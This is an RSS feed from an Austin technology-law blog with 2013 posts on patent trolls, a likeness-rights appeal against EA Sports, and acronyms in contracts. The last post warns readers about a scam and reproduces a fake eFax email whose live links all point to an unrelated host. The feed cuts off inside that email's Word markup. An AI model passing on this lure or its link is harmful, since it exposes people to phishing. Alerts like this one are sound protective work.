<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.lexblog.com/~d/styles/itemcontent.css"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">
   <channel>
      <title>Austin Technology Law Blog</title>
      <link>http://www.austintechnologylawblog.com/</link>
      <description>Texas Technology Lawyers &amp; Attorneys for Copyright, Trademarks &amp; Software Licensing in Houston, Dallas &amp; Austin TX</description>
      <language>en</language>
      <copyright>Copyright 2013</copyright>
      <lastBuildDate>Wed, 05 Jun 2013 16:52:33 -0600</lastBuildDate>
      <pubDate>Wed, 05 Jun 2013 16:52:33 -0600</pubDate>
      <generator>http://www.movabletype.org</generator>
      <docs>http://blogs.law.harvard.edu/tech/rss</docs> 

            <feedburner:info uri="austintechnologylawblog" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://www.austintechnologylawblog.com/index.xml" /><feedburner:emailServiceId>AustinTechnologyLawBlog</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><feedburner:feedFlare href="http://add.my.yahoo.com/rss?url=http%3A%2F%2Fwww.austintechnologylawblog.com%2Findex.xml" src="http://us.i1.yimg.com/us.yimg.com/i/us/my/addtomyyahoo4.gif">Subscribe with My Yahoo!</feedburner:feedFlare><feedburner:feedFlare href="http://www.newsgator.com/ngs/subscriber/subext.aspx?url=http%3A%2F%2Fwww.austintechnologylawblog.com%2Findex.xml" src="http://www.newsgator.com/images/ngsub1.gif">Subscribe with NewsGator</feedburner:feedFlare><feedburner:feedFlare href="http://feeds.my.aol.com/add.jsp?url=http%3A%2F%2Fwww.austintechnologylawblog.com%2Findex.xml" src="http://o.aolcdn.com/favorites.my.aol.com/webmaster/ffclient/webroot/locale/en-US/images/myAOLButtonSmall.gif">Subscribe with My AOL</feedburner:feedFlare><feedburner:feedFlare href="http://www.bloglines.com/sub/http://www.austintechnologylawblog.com/index.xml" src="http://www.bloglines.com/images/sub_modern11.gif">Subscribe with Bloglines</feedburner:feedFlare><feedburner:feedFlare href="http://www.netvibes.com/subscribe.php?url=http%3A%2F%2Fwww.austintechnologylawblog.com%2Findex.xml" src="http://www.netvibes.com/img/add2netvibes.gif">Subscribe with Netvibes</feedburner:feedFlare><feedburner:feedFlare href="http://fusion.google.com/add?feedurl=http%3A%2F%2Fwww.austintechnologylawblog.com%2Findex.xml" src="http://buttons.googlesyndication.com/fusion/add.gif">Subscribe with Google</feedburner:feedFlare><feedburner:feedFlare href="http://www.pageflakes.com/subscribe.aspx?url=http%3A%2F%2Fwww.austintechnologylawblog.com%2Findex.xml" src="http://www.pageflakes.com/ImageFile.ashx?instanceId=Static_4&amp;fileName=ATP_blu_91x17.gif">Subscribe with Pageflakes</feedburner:feedFlare><feedburner:feedFlare href="http://www.plusmo.com/add?url=http%3A%2F%2Fwww.austintechnologylawblog.com%2Findex.xml" src="http://plusmo.com/res/graphics/fbplusmo.gif">Subscribe with Plusmo</feedburner:feedFlare><feedburner:feedFlare href="http://www.thefreedictionary.com/_/hp/AddRSS.aspx?http%3A%2F%2Fwww.austintechnologylawblog.com%2Findex.xml" src="http://img.tfd.com/hp/addToTheFreeDictionary.gif">Subscribe with The Free Dictionary</feedburner:feedFlare><feedburner:feedFlare href="http://www.bitty.com/manual/?contenttype=rssfeed&amp;contentvalue=http%3A%2F%2Fwww.austintechnologylawblog.com%2Findex.xml" src="http://www.bitty.com/img/bittychicklet_91x17.gif">Subscribe with Bitty Browser</feedburner:feedFlare><feedburner:feedFlare href="http://www.live.com/?add=http%3A%2F%2Fwww.austintechnologylawblog.com%2Findex.xml" src="http://tkfiles.storage.msn.com/x1piYkpqHC_35nIp1gLE68-wvzLZO8iXl_JMledmJQXP-XTBOLfmQv4zhj4MhcWEJh_GtoBIiAl1Mjh-ndp9k47If7hTaFno0mxW9_i3p_5qQw">Subscribe with Live.com</feedburner:feedFlare><feedburner:feedFlare href="http://mix.excite.eu/add?feedurl=http%3A%2F%2Fwww.austintechnologylawblog.com%2Findex.xml" src="http://image.excite.co.uk/mix/addtomix.gif">Subscribe with Excite MIX</feedburner:feedFlare><feedburner:feedFlare href="http://www.webwag.com/wwgthis.php?url=http%3A%2F%2Fwww.austintechnologylawblog.com%2Findex.xml" src="http://www.webwag.com/images/wwgthis.gif">Subscribe with Webwag</feedburner:feedFlare><feedburner:feedFlare href="http://www.podcastready.com/oneclick_bookmark.php?url=http%3A%2F%2Fwww.austintechnologylawblog.com%2Findex.xml" src="http://www.podcastready.com/images/podcastready_button.gif">Subscribe with Podcast Ready</feedburner:feedFlare><feedburner:feedFlare href="http://www.wikio.com/subscribe?url=http%3A%2F%2Fwww.austintechnologylawblog.com%2Findex.xml" src="http://www.wikio.com/shared/img/add2wikio.gif">Subscribe with Wikio</feedburner:feedFlare><feedburner:feedFlare href="http://www.dailyrotation.com/index.php?feed=http%3A%2F%2Fwww.austintechnologylawblog.com%2Findex.xml" src="http://www.dailyrotation.com/rss-dr2.gif">Subscribe with Daily Rotation</feedburner:feedFlare><item>
         <title>What Are Patent Trolls and Why Is President Obama Saying All Those Terrible Things About Them?</title>
         <description>&lt;p&gt;&lt;u&gt;&lt;strong&gt;Patent:&lt;/strong&gt;&lt;/u&gt; an intellectual property right granted by the Government of the United States of America to &lt;img width="329" height="173" border="5" align="right" alt="" src="http://www.austintechnologylawblog.com/uploads/image/patent(1).jpg" /&gt;an inventor &amp;ldquo;to exclude others from making, using, offering for sale, or selling the invention throughout the United States or importing the invention into the United States&amp;rdquo; for a limited time in exchange for public disclosure of the invention when the patent is granted.&amp;nbsp; &lt;a href="http://www.uspto.gov/patents/index.jsp"&gt;USPTO&amp;nbsp;Website&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;u&gt;&lt;strong&gt;Troll:&lt;/strong&gt;&lt;/u&gt; a dwarf or giant in Scandinavian folklore inhabiting caves or hills.&amp;nbsp; &lt;a href="http://www.merriam-webster.com/dictionary/troll"&gt;Merriam-Webster Dictionary&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;u&gt;&lt;strong&gt;Patent Troll:&lt;/strong&gt;&lt;/u&gt; (Patent Assertion Entities, also known as PAEs) or &amp;quot;companies that don&amp;rsquo;t actually produce anything themselves and essentially leverage and hijack somebody else&amp;rsquo;s idea and see if they can extort some money out of them&amp;quot;.&amp;nbsp; &lt;a href="http://www.whitehouse.gov/the-press-office/2013/06/04/fact-sheet-white-house-task-force-high-tech-patent-issues"&gt;President Obama&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Patent trolls accounted for &lt;a href="http://www.whitehouse.gov/blog/2013/06/04/taking-patent-trolls-protect-american-innovation"&gt;more than half of the patent suits filed this yea&lt;/a&gt;r.&amp;nbsp; The President issued executive orders today that,&lt;em&gt; inter alia&lt;/em&gt;, asks Congress to pass laws to: (i) require disclosure of the real party in interest (not just the Patent Assertion Entity that merely holds patents, but doesn't practice any of them); (ii) remove consumers that are using the affected products in the manner intended from the effects of the lawsuits; and (iii) provide for the awarding of attorneys fees and costs to defendants in &amp;quot;abusive&amp;quot; lawsuits.&lt;/p&gt;
&lt;p&gt;Now, given the speed in which Congress acts (Hey, the House has already repealed Obamacare 37 times), it is likely that this will not have any near term effect.&amp;nbsp; Some large patent holders, that are not PAEs, &lt;a href="http://www.nytimes.com/2013/06/05/business/president-moves-to-curb-patent-suits.html?_r=0"&gt;have expressed concern&lt;/a&gt; that laws such as those suggested by the President could have unintended consequences and make it harder for non-trolls to protect their patents.&lt;/p&gt;
&lt;p&gt;Given that it is possible that facts will surface that indicate that the IRS has engaged in the targeting of trolls, that trolls could have prevented the tragedy at Benghazi or that trolls were the AP sources that the Justice Department was looking for, this could get folded into the other &amp;quot;scandals&amp;quot; and fail to get any legislative traction.&amp;nbsp; Or, it could just not get any legislative traction, like almost everything else.&amp;nbsp; It's now up to Congress.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/AustinTechnologyLawBlog/~4/UcoHKdpNZlk" height="1" width="1"/&gt;</description>
         <link>http://feeds.lexblog.com/~r/AustinTechnologyLawBlog/~3/UcoHKdpNZlk/</link>
         <guid isPermaLink="false">http://www.austintechnologylawblog.com/2013/06/articles/what-are-patent-trolls-and-why-is-president-obama-saying-all-those-terrible-things-about-them/</guid>
         <category domain="http://www.austintechnologylawblog.com/">Articles</category><category domain="http://www.austintechnologylawblog.com/articles">Corporations</category><category domain="http://www.austintechnologylawblog.com/articles">Intellectual Property</category><category domain="http://www.austintechnologylawblog.com/">Legal</category><category domain="http://www.austintechnologylawblog.com/articles">Legislation</category><category domain="http://www.austintechnologylawblog.com/articles">Patents</category><category domain="http://www.austintechnologylawblog.com/tags">President Obama</category><category domain="http://www.austintechnologylawblog.com/tags">executive order</category><category domain="http://www.austintechnologylawblog.com/tags">patent troll</category>
         <pubDate>Wed, 05 Jun 2013 14:30:01 -0600</pubDate>
         <dc:creator>Paul Stanfield</dc:creator>
      
      <feedburner:origLink>http://www.austintechnologylawblog.com/2013/06/articles/what-are-patent-trolls-and-why-is-president-obama-saying-all-those-terrible-things-about-them/</feedburner:origLink></item>
            <item>
         <title>UPDATE: Circuit Court of Appeals Reverses Decision That Use of Rutgers Quarterback's Likeness Was "Transformative".  Mr. Hart Is Back "In The Game".</title>
         <description>&lt;p&gt;&lt;a href="http://www.austintechnologylawblog.com/2011/10/articles/ea-sports-your-likeness-is-in-the-game/"&gt;We noted back in October of 2011&lt;/a&gt; that a District Court in New Jersey had granted EA Sport's motion&lt;img width="250" height="120" border="5" align="right" alt="" src="http://www.austintechnologylawblog.com/uploads/image/EASports-2.jpg" /&gt; for summary judgment in a suit brought by Ryan Hart, a former quarterback at Rutgers.&amp;nbsp; EA Sports had used as a basis for its motion that even though the video game used Mr. Hart's likeness, including his height, weight, home town and commonly worn visor and arm bands that the mechanism of the video game allowed users to change these and as such was &amp;quot;transformative&amp;quot;.&amp;nbsp; If a use is found to be transformative, usually the courts will find that the user's First Amendment rights prevail over the subject's privacy rights.&amp;nbsp; The District Court so found in this case and granted defendant's motion.&amp;nbsp; An appeal ensued.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.ca3.uscourts.gov/opinarch/113750p.pdf"&gt;The Circuit Court of Appeals reversed.&lt;/a&gt;&amp;nbsp; In a 2 to 1 decision, the Circuit Court rejected the idea that the ability to change the player's characteristics by the user rose to the level of transformative use. In fact, the appellant court held that the presence of interactivity, the ability to change the characteristics of the subject (the court noted that the player's unaltered image was the default image) and the presence of other creative elements did not tip the &amp;quot;balance&amp;quot; in favor of the First Amendment.&lt;/p&gt;
&lt;p&gt;Thus, the granting of the motion for summary judgment was reversed and remanded for further hearings.&amp;nbsp; Mr. Hart is back &amp;quot;&lt;a href="http://www.youtube.com/watch?v=K1Fi9J-Ya4k"&gt;In The Game&lt;/a&gt;&amp;quot;.&lt;/p&gt;
&lt;p&gt;It's also nice to finally see &lt;a href="http://www.cbssports.com/collegefootball/story/22314325/rutgers-hiring-fiasco-exposes-larger-problem-too-many-abusive-coaches"&gt;someone from Rutgers&lt;/a&gt; win &lt;a href="http://www.youtube.com/watch?v=rbaYqcMMZ6A"&gt;something&lt;/a&gt;.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/AustinTechnologyLawBlog/~4/1btnMFsf5Gw" height="1" width="1"/&gt;</description>
         <link>http://feeds.lexblog.com/~r/AustinTechnologyLawBlog/~3/1btnMFsf5Gw/</link>
         <guid isPermaLink="false">http://www.austintechnologylawblog.com/2013/05/articles/update-circuit-court-of-appeals-reverses-decision-that-use-of-rutgers-quarterbacks-likeness-was-transformative-mr-hart-is-back-in-the-game/</guid>
         <category domain="http://www.austintechnologylawblog.com/">Articles</category><category domain="http://www.austintechnologylawblog.com/">Copyright</category><category domain="http://www.austintechnologylawblog.com/tags">EA Sports</category><category domain="http://www.austintechnologylawblog.com/">General</category><category domain="http://www.austintechnologylawblog.com/articles">Intellectual Property</category><category domain="http://www.austintechnologylawblog.com/articles">Internet</category><category domain="http://www.austintechnologylawblog.com/articles">Legislation</category><category domain="http://www.austintechnologylawblog.com/tags">Privacy</category><category domain="http://www.austintechnologylawblog.com/tags">Rutgers</category><category domain="http://www.austintechnologylawblog.com/articles">Trademarks</category><category domain="http://www.austintechnologylawblog.com/tags">likeness</category><category domain="http://www.austintechnologylawblog.com/tags">transformative</category>
         <pubDate>Wed, 29 May 2013 14:57:33 -0600</pubDate>
         <dc:creator>Paul Stanfield</dc:creator>
      
      <feedburner:origLink>http://www.austintechnologylawblog.com/2013/05/articles/update-circuit-court-of-appeals-reverses-decision-that-use-of-rutgers-quarterbacks-likeness-was-transformative-mr-hart-is-back-in-the-game/</feedburner:origLink></item>
            <item>
         <title>A. C.ritical R.eview O.f N.ames Y.ou M.ight S.horten. "ACRONYMS"  See What I Did There?</title>
         <description>&lt;p&gt;For the tens and tens of you that read this little blog, this has very little application.&amp;nbsp; This is written&lt;img width="250" height="187" border="5" align="right" src="http://www.austintechnologylawblog.com/uploads/image/WTF.jpg" alt="" /&gt; for people that regularly create contracts and for my clients that regularly send me their writings to review.&amp;nbsp; I review a lot of descriptions of work that are usually contained in Statements of Work that describe the services that my clients intend to perform for their customers.&amp;nbsp; Since almost all of my practice centers around technology contracts, I&amp;nbsp;get to review things like the following:&lt;/p&gt;
&lt;p style="margin-left: 40px;"&gt;&amp;quot;Vendor will provide technical resources on a time and material basis within the following business process areas for the Implementation:&lt;/p&gt;
&lt;p style="margin-left: 80px;"&gt;&amp;bull;	ECC 6.0, EHP4&lt;br /&gt;
&amp;bull;	SAP SCM 7.0&lt;br /&gt;
&amp;bull;	SAP Solution Manager&lt;br /&gt;
&amp;bull;	Netweaver Stack&lt;br /&gt;
&amp;bull;	BOBJ Data Services version 7.0&lt;br /&gt;
&amp;bull;	BI 7.0&lt;br /&gt;
&amp;bull;	Business Objects 3.10&lt;br /&gt;
&amp;bull;	GRC&amp;quot;&lt;/p&gt;
&lt;p&gt;Now, there was no question in the mind of the author as to what was intended.&amp;nbsp; He or she had a perfect idea of what the tasks would entail.&amp;nbsp; The problem is that if there were ever a need to interpret this, principally by a trier of fact, and probably 4 or 5 years in the future, it quickly becomes ambiguous.&amp;nbsp; For example, the acronym &amp;quot;GRC&amp;quot; probably in this context means &amp;quot;governance, risk and compliance&amp;quot; but &lt;a href="http://www.acronymfinder.com/GRC.html"&gt;AcronymFinder &lt;/a&gt;lists well over 250 other possibilities.&lt;/p&gt;
&lt;p&gt;So, for all people that write contracts, review contracts or read them for pleasure (sick), a basic rule for contract construction is to define the acronyms.&amp;nbsp; Why leave it up to someone who is not an expert to try and guess what you were thinking?&amp;nbsp; TLA (&amp;quot;Three Letter Acronyms&amp;quot;) do not add to the understanding of an agreement unless they are adequately defined.&amp;nbsp; As further illustration, I&amp;nbsp;once represented an electric utility that operated a nuclear powered generating facility.&amp;nbsp; I&amp;nbsp;was discussing an issue regarding some faulty equipment with the engineers on site and they kept referring to a &amp;quot;BRT&amp;quot;.&amp;nbsp; After several uses of the acronym I&amp;nbsp;inquired as to its meaning.&amp;nbsp; They motioned toward the giant hyperbolic cooling towers next to the reactor containment buildings and said, without a hint that they were being jocular, &amp;quot;Oh, that's those Big Round Things.&amp;quot;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/AustinTechnologyLawBlog/~4/p_Y8tYvcbh8" height="1" width="1"/&gt;</description>
         <link>http://feeds.lexblog.com/~r/AustinTechnologyLawBlog/~3/p_Y8tYvcbh8/</link>
         <guid isPermaLink="false">http://www.austintechnologylawblog.com/2013/05/articles/a-critical-review-of-names-you-might-shorten-acronyms-see-what-i-did-there/</guid>
         <category domain="http://www.austintechnologylawblog.com/">Articles</category><category domain="http://www.austintechnologylawblog.com/">Legal</category><category domain="http://www.austintechnologylawblog.com/tags">TLA</category><category domain="http://www.austintechnologylawblog.com/tags">acronym</category><category domain="http://www.austintechnologylawblog.com/tags">contract construction</category>
         <pubDate>Tue, 28 May 2013 12:53:38 -0600</pubDate>
         <dc:creator>Paul Stanfield</dc:creator>
      
      <feedburner:origLink>http://www.austintechnologylawblog.com/2013/05/articles/a-critical-review-of-names-you-might-shorten-acronyms-see-what-i-did-there/</feedburner:origLink></item>
            <item>
         <title>eFax Scam - Look For This In Your Inbox.</title>
         <description>&lt;p&gt;From time to time we try to alert you to scams.&amp;nbsp; This morning I received an e-mail that looked like this:&lt;/p&gt;
&lt;p&gt;&lt;!--[if !mso]&gt;
&lt;style&gt;
v\:* {behavior:url(#default#VML);}
o\:* {behavior:url(#default#VML);}
w\:* {behavior:url(#default#VML);}
.shape {behavior:url(#default#VML);}
&lt;/style&gt;
&lt;![endif]--&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size:10.0pt;font-family:&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;;
mso-fareast-font-family:&amp;quot;Times New Roman&amp;quot;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size:8.5pt;font-family:&amp;quot;Verdana&amp;quot;,&amp;quot;sans-serif&amp;quot;;
mso-fareast-font-family:&amp;quot;Times New Roman&amp;quot;;mso-bidi-font-family:Arial"&gt;&lt;img src="http://a248.g.akamai.net/f/248/528/7d/images.j2.com/emailTemplates/corpHeaderLogo.jpg" id="_x0000_i1025" alt="" /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size:8.5pt;font-family:&amp;quot;Verdana&amp;quot;,&amp;quot;sans-serif&amp;quot;;
mso-fareast-font-family:&amp;quot;Times New Roman&amp;quot;;mso-bidi-font-family:Arial"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size:8.5pt;font-family:&amp;quot;Verdana&amp;quot;,&amp;quot;sans-serif&amp;quot;;
mso-fareast-font-family:&amp;quot;Times New Roman&amp;quot;;mso-bidi-font-family:Arial"&gt;&lt;img width="576" height="24" src="http://images.j2.com/emailTemplates/grey_bar.gif" id="_x0000_i1026" alt="" /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size:8.5pt;font-family:&amp;quot;Verdana&amp;quot;,&amp;quot;sans-serif&amp;quot;;
mso-fareast-font-family:&amp;quot;Times New Roman&amp;quot;;mso-bidi-font-family:Arial"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:135%" class="MsoNormal"&gt;&lt;span style="font-size:13.0pt;
line-height:135%;font-family:&amp;quot;Verdana&amp;quot;,&amp;quot;sans-serif&amp;quot;;mso-fareast-font-family:
&amp;quot;Times New Roman&amp;quot;;mso-bidi-font-family:Arial;color:#003366"&gt;Fax Message&lt;/span&gt;&lt;span style="font-size:8.5pt;line-height:135%;font-family:&amp;quot;Verdana&amp;quot;,&amp;quot;sans-serif&amp;quot;;
mso-fareast-font-family:&amp;quot;Times New Roman&amp;quot;;mso-bidi-font-family:Arial"&gt; [Caller-ID: 310-293-1860] &lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:135%" class="MsoNormal"&gt;&lt;span style="font-size:8.5pt;
line-height:135%;font-family:&amp;quot;Verdana&amp;quot;,&amp;quot;sans-serif&amp;quot;;mso-fareast-font-family:
&amp;quot;Times New Roman&amp;quot;;mso-bidi-font-family:Arial"&gt;You have received a 2 pages fax at 2013-05-17 10:09:12 .&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:135%" class="MsoNormal"&gt;&lt;span style="font-size:8.5pt;
line-height:135%;font-family:&amp;quot;Verdana&amp;quot;,&amp;quot;sans-serif&amp;quot;;mso-fareast-font-family:
&amp;quot;Times New Roman&amp;quot;;mso-bidi-font-family:Arial"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:135%" class="MsoNormal"&gt;&lt;span style="font-size:8.5pt;
line-height:135%;font-family:&amp;quot;Verdana&amp;quot;,&amp;quot;sans-serif&amp;quot;;mso-fareast-font-family:
&amp;quot;Times New Roman&amp;quot;;mso-bidi-font-family:Arial"&gt;* The reference number for this fax is &lt;a target="_blank" href="http://info.wirepro.com/steeplejacks/index.html"&gt;min1_did71-9694455268-1026725108-89&lt;/a&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:135%" class="MsoNormal"&gt;&lt;span style="font-size:8.5pt;
line-height:135%;font-family:&amp;quot;Verdana&amp;quot;,&amp;quot;sans-serif&amp;quot;;mso-fareast-font-family:
&amp;quot;Times New Roman&amp;quot;;mso-bidi-font-family:Arial"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:135%" class="MsoNormal"&gt;&lt;span style="font-size:8.5pt;
line-height:135%;font-family:&amp;quot;Verdana&amp;quot;,&amp;quot;sans-serif&amp;quot;;mso-fareast-font-family:
&amp;quot;Times New Roman&amp;quot;;mso-bidi-font-family:Arial"&gt;View this fax using your PDF reader.&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:135%" class="MsoNormal"&gt;&lt;span style="font-size:8.5pt;
line-height:135%;font-family:&amp;quot;Verdana&amp;quot;,&amp;quot;sans-serif&amp;quot;;mso-fareast-font-family:
&amp;quot;Times New Roman&amp;quot;;mso-bidi-font-family:Arial"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:135%" class="MsoNormal"&gt;&lt;span style="font-size:8.5pt;
line-height:135%;font-family:&amp;quot;Verdana&amp;quot;,&amp;quot;sans-serif&amp;quot;;mso-fareast-font-family:
&amp;quot;Times New Roman&amp;quot;;mso-bidi-font-family:Arial"&gt;&lt;a target="_blank" href="http://info.wirepro.com/steeplejacks/index.html"&gt;Click here to view this message&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:135%" class="MsoNormal"&gt;&lt;span style="font-size:8.5pt;
line-height:135%;font-family:&amp;quot;Verdana&amp;quot;,&amp;quot;sans-serif&amp;quot;;mso-fareast-font-family:
&amp;quot;Times New Roman&amp;quot;;mso-bidi-font-family:Arial"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:135%" class="MsoNormal"&gt;&lt;span style="font-size:8.5pt;
line-height:135%;font-family:&amp;quot;Verdana&amp;quot;,&amp;quot;sans-serif&amp;quot;;mso-fareast-font-family:
&amp;quot;Times New Roman&amp;quot;;mso-bidi-font-family:Arial"&gt;Please visit &lt;a title="This external link will open in a new window" target="_blank" href="http://info.wirepro.com/steeplejacks/index.html"&gt;&lt;span style="color:#003366"&gt;www.eFax.com/en/efax/twa/page/help&lt;/span&gt;&lt;/a&gt; if you have any questions regarding this message or your service.&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:135%" class="MsoNormal"&gt;&lt;span style="font-size:8.5pt;
line-height:135%;font-family:&amp;quot;Verdana&amp;quot;,&amp;quot;sans-serif&amp;quot;;mso-fareast-font-family:
&amp;quot;Times New Roman&amp;quot;;mso-bidi-font-family:Arial"&gt;Thank you for using the eFax service!&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size:7.5pt;font-family:&amp;quot;Verdana&amp;quot;,&amp;quot;sans-serif&amp;quot;;
mso-fareast-font-family:&amp;quot;Times New Roman&amp;quot;;mso-bidi-font-family:Arial;
color:#B9B8B8"&gt;&lt;a title="This external link will open in a new window" target="_blank" href="http://info.wirepro.com/steeplejacks/index.html"&gt;&lt;span style="color:#3184AD;text-decoration:none;text-underline:none"&gt;Home&lt;/span&gt;&lt;/a&gt; &lt;a title="This external link will open in a new window" target="_blank" href="http://info.wirepro.com/steeplejacks/index.html"&gt;&lt;span style="color:#3184AD;
text-decoration:none;text-underline:none"&gt;Contact&lt;/span&gt;&lt;/a&gt; &lt;a title="This external link will open in a new window" target="_blank" href="http://info.wirepro.com/steeplejacks/index.html"&gt;&lt;span style="color:#3184AD;
text-decoration:none;text-underline:none"&gt;Login&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size:7.5pt;font-family:&amp;quot;Verdana&amp;quot;,&amp;quot;sans-serif&amp;quot;;
mso-fareast-font-family:&amp;quot;Times New Roman&amp;quot;;mso-bidi-font-family:Arial;
color:#B9B8B8"&gt;&lt;a title="This external link will open in a new window" target="_blank" href="http://info.wirepro.com/steeplejacks/index.html"&gt;&lt;span style="text-decoration:none;text-underline:none"&gt;&lt;img border="0" alt="Powered by j2" src="http://a248.g.akamai.net/f/248/528/7d/images.j2com/emailTemplates/j2Grayscale.gif" id="_x0000_i1027" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:135%" class="MsoNormal"&gt;&lt;span style="font-size:7.5pt;
line-height:135%;font-family:&amp;quot;Verdana&amp;quot;,&amp;quot;sans-serif&amp;quot;;mso-fareast-font-family:
&amp;quot;Times New Roman&amp;quot;;mso-bidi-font-family:Arial;color:#B9B8B8"&gt;2013 j2 Global Communications, Inc. All rights reserved.&lt;br /&gt;
eFax is a registered trademark of j2 Global Communications, Inc.&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:135%" class="MsoNormal"&gt;&lt;span style="font-size:7.5pt;
line-height:135%;font-family:&amp;quot;Verdana&amp;quot;,&amp;quot;sans-serif&amp;quot;;mso-fareast-font-family:
&amp;quot;Times New Roman&amp;quot;;mso-bidi-font-family:Arial;color:#B9B8B8"&gt;This account is subject to the terms listed in the &lt;a title="This external link will open in a new window" target="_blank" href="http://info.wirepro.com/steeplejacks/index.html"&gt;&lt;span style="color:#B9B8B8"&gt;eFax Customer Agreement&lt;/span&gt;&lt;/a&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;o:OfficeDocumentSettings&gt;
  &lt;o:AllowPNG/&gt;
 &lt;/o:OfficeDocumentSettings&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:WordDocument&gt;
  &lt;w:View&gt;Normal&lt;/w:View&gt;
  &lt;w:Zoom&gt;0&lt;/w:Zoom&gt;
  &lt;w:TrackMoves/&gt;
  &lt;w:TrackFormatting/&gt;
  &lt;w:PunctuationKerning/&gt;
  &lt;w:ValidateAgainstSchemas/&gt;
  &lt;w:SaveIfXMLInvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;
  &lt;w:IgnoreMixedContent&gt;false&lt;/w:IgnoreMixedContent&gt;
  &lt;w:AlwaysShowPlaceholderText&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;
  &lt;w:DoNotPromoteQF/&gt;
  &lt;w:LidThemeOther&gt;EN-US&lt;/w:LidThemeOther&gt;
  &lt;w:LidThemeAsian&gt;X-NONE&lt;/w:LidThemeAsian&gt;
  &lt;w:LidThemeComplexScript&gt;X-NONE&lt;/w:LidThemeComplexScript&gt;
  &lt;w:Compatibility&gt;
   &lt;w:BreakWrappedTables/&gt;
   &lt;w:SnapToGridInCell/&gt;
   &lt;w:WrapTextWithPunct/&gt;
   &lt;w:UseAsianBreakRules/&gt;
   &lt;w:DontGrowAutofit/&gt;
   &lt;w:SplitPgBreakAndParaMark/&gt;
   &lt;w:EnableOpenTypeKerning/&gt;
   &lt;w:DontFlipMirrorIndents/&gt;
   &lt;w:OverrideTableStyleHps/&gt;
  &lt;/w:Compatibility&gt;
  &lt;m:mathPr&gt;
   &lt;m:mathFont m:val="Cambria Math"/&gt;
   &lt;m:brkBin m:val="before"/&gt;
   &lt;m:brkBinSub m:val="&amp;#45;-"/&gt;
   &lt;m:smallFrac m:val="off"/&gt;
   &lt;m:dispDef/&gt;
   &lt;m:lMargin m:val="0"/&gt;
   &lt;m:rMargin m:val="0"/&gt;
   &lt;m:defJc m:val="centerGroup"/&gt;
   &lt;m:wrapIndent m:val="1440"/&gt;
   &lt;m:intLim m:val="subSup"/&gt;
   &lt;m:naryLim m:val="undOvr"/&gt;
  &lt;/m:mathPr&gt;&lt;/w:WordDocument&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
  DefSemiHidden="true" DefQFormat="false" DefPriority="99"
  LatentStyleCount="267"&gt;
  &lt;w:LsdException Locked="false" Priority="0" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Normal"/&gt;
  &lt;w:LsdException Locked="false" Priority="9" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="heading 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/&gt;
  &lt;w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/&gt;
